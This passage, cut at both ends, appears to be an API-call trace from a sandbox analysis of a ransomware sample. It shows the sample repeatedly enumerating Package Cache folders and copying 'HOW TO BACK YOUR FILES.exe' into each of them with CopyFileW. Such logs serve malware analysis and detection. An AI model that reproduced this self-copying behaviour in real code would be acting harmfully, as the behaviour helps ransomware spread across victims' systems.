ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="{8D4F7~1.250")) returned 1 [0102.892] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.892] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.892] lstrcpyW (in: lpString1=0x241e8ce, lpString2="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0102.892] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546580 [0102.892] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xec) returned 0x50b998 [0102.892] lstrcatW (in: lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="\\" | out: lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\") returned="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\" [0102.892] lstrcatW (in: lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\HOW TO BACK YOUR FILES.exe") returned="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\HOW TO BACK YOUR FILES.exe" [0102.892] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.893] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4bc8320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bc8320, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1 [0102.893] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.893] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.893] lstrcpyW (in: lpString1=0x241e8ce, lpString2="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0102.893] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546598 [0102.893] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xea) returned 0x50ba90 [0102.893] lstrcatW (in: lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="\\" | out: lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\") returned="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\" [0102.893] lstrcatW (in: lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\HOW TO BACK YOUR FILES.exe") returned="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\HOW TO BACK YOUR FILES.exe" [0102.893] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.894] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4bc8320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bc8320, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1 [0102.894] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.894] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.894] lstrcpyW (in: lpString1=0x241e8ce, lpString2="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0102.894] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5465b0 [0102.894] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xea) returned 0x50bb88 [0102.894] lstrcatW (in: lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="\\" | out: lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\") returned="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\" [0102.894] lstrcatW (in: lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\HOW TO BACK YOUR FILES.exe") returned="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\HOW TO BACK YOUR FILES.exe" [0102.894] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.894] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4bc8320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bc8320, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1 [0102.894] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.894] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.895] lstrcpyW (in: lpString1=0x241e8ce, lpString2="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0102.895] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5465c8 [0102.895] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xea) returned 0x546858 [0102.895] lstrcatW (in: lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="\\" | out: lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\") returned="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\" [0102.895] lstrcatW (in: lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\HOW TO BACK YOUR FILES.exe") returned="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\HOW TO BACK YOUR FILES.exe" [0102.895] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.895] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bee480, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1 [0102.895] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.895] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.895] lstrcpyW (in: lpString1=0x241e8ce, lpString2="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0102.895] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5465e0 [0102.895] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xea) returned 0x546950 [0102.896] lstrcatW (in: lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="\\" | out: lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\") returned="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\" [0102.896] lstrcatW (in: lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\HOW TO BACK YOUR FILES.exe") returned="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\HOW TO BACK YOUR FILES.exe" [0102.896] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.896] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xe26aa820, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe26aa820, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1 [0102.896] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.896] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.896] lstrcpyW (in: lpString1=0x241e8ce, lpString2="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0102.896] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5465f8 [0102.896] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xd4) returned 0x52aab8 [0102.896] lstrcatW (in: lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="\\" | out: lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\" [0102.896] lstrcatW (in: lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\HOW TO BACK YOUR FILES.exe") returned="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\HOW TO BACK YOUR FILES.exe" [0102.896] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.897] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bee480, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1 [0102.897] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.897] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.897] lstrcpyW (in: lpString1=0x241e8ce, lpString2="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0102.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546610 [0102.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xea) returned 0x546a48 [0102.897] lstrcatW (in: lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="\\" | out: lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\") returned="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\" [0102.897] lstrcatW (in: lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\HOW TO BACK YOUR FILES.exe") returned="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\HOW TO BACK YOUR FILES.exe" [0102.897] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.898] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bee480, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", cAlternateFileName="{E5127~1.250")) returned 1 [0102.898] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.898] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.898] lstrcpyW (in: lpString1=0x241e8ce, lpString2="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0102.898] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546628 [0102.898] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xec) returned 0x546b40 [0102.898] lstrcatW (in: lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="\\" | out: lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\") returned="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\" [0102.898] lstrcatW (in: lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\HOW TO BACK YOUR FILES.exe") returned="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\HOW TO BACK YOUR FILES.exe" [0102.898] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.899] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xe29a43a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe29a43a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{e52a6842-b0ac-476e-b48f-378a97a67346}", cAlternateFileName="{E52A6~1")) returned 1 [0102.899] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.899] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.899] lstrcpyW (in: lpString1=0x241e8ce, lpString2="{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="{e52a6842-b0ac-476e-b48f-378a97a67346}" [0102.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546640 [0102.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xd4) returned 0x546c38 [0102.899] lstrcatW (in: lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="\\" | out: lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned="{e52a6842-b0ac-476e-b48f-378a97a67346}\\" [0102.899] lstrcatW (in: lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}\\HOW TO BACK YOUR FILES.exe") returned="{e52a6842-b0ac-476e-b48f-378a97a67346}\\HOW TO BACK YOUR FILES.exe" [0102.899] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.899] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xe2b472c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2b472c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1 [0102.900] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.900] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.900] lstrcpyW (in: lpString1=0x241e8ce, lpString2="{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0102.900] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546658 [0102.900] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xd4) returned 0x546d18 [0102.900] lstrcatW (in: lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="\\" | out: lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned="{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\" [0102.900] lstrcatW (in: lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\HOW TO BACK YOUR FILES.exe") returned="{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\HOW TO BACK YOUR FILES.exe" [0102.900] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.900] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xe2c059a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2c059a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", cAlternateFileName="{F325F~1")) returned 1 [0102.900] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.900] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.900] lstrcpyW (in: lpString1=0x241e8ce, lpString2="{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0102.901] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546670 [0102.901] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xd4) returned 0x546df8 [0102.901] lstrcatW (in: lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="\\" | out: lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned="{f325f05b-f963-4640-a43b-c8a494cdda0f}\\" [0102.901] lstrcatW (in: lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}\\HOW TO BACK YOUR FILES.exe") returned="{f325f05b-f963-4640-a43b-c8a494cdda0f}\\HOW TO BACK YOUR FILES.exe" [0102.901] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\package 